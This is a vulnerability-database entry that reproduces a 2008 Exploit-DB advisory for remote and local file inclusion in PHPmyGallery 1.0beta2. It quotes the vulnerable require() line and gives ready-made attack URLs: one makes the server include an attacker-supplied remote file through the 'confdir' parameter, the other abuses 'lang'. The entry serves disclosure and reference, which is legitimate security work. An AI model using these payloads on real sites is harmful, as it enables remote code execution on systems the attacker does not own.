PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.

vendor:

PHPmyGallery

by:

ZoRLu

7.5

CVSS

HIGH

Remote File Inclusion (RFI) and Local File Inclusion (LFI)

CWE

Product Name: PHPmyGallery

Affected Version From: 1.0beta2

Affected Version To: 1.0beta2

Patch Exists: NO

Related CWE: N/A

CPE: a:phpmygallery:phpmygallery:1.0beta2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.

PHPmyGallery v~1.0beta2 is vulnerable to Remote File Inclusion (RFI) and Local File Inclusion (LFI) attacks. The vulnerability exists due to insufficient sanitization of user-supplied input in the 'confdir' and 'lang' parameters of the 'common-tpl-vars.php' script. An attacker can exploit this vulnerability to include arbitrary remote files and execute arbitrary code on the vulnerable system.

Mitigation:

Input validation should be used to prevent the exploitation of this vulnerability.

Source

Exploit-DB raw data:

[~] PHPmyGallery v~1.0beta2 RFi/LFi Multiple Remote Vuln.
[~]
[~] download: http://phpmygallery.kapierich.net/en/downloads/?dir=PHP/&getfile=PK_phpmygallery-1.0beta2.zip
[~]
[~] ----------------------------------------------------------
[~] Discovered By: ZoRLu   msn: trt-turk@hotmail.com
[~]
[~] Home: www.z0rlu.blogspot.com
[~]
[~] Date: 08/12/2008
[~]
[~] N0T: TUM iSLAM ALEMiNiN BAYRAMINI KUTLARIM...!
[~]
[~] N0T: YALNIZLIK, YiTiRDi ANLAMINI YALNIZLIGIMDA : ( (
[~] -----------------------------------------------------------

file:

_conf/core/common-tpl-vars.php

c0de:

require($confdir.'lang/langpack.'.$lang.'.php');  ( line 23 )

rfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?confdir=ZoRLu.txt?

lfi:

http://www.z0rlu.blogspot.com/script/_conf/core/common-tpl-vars.php?lang=[LFi]

[~]----------------------------------------------------------------------
[~] Greetz tO: str0ke 
[~]
[~] yildirimordulari.org  &  darkc0de.com
[~]
[~]----------------------------------------------------------------------

# milw0rm.com [2008-12-09]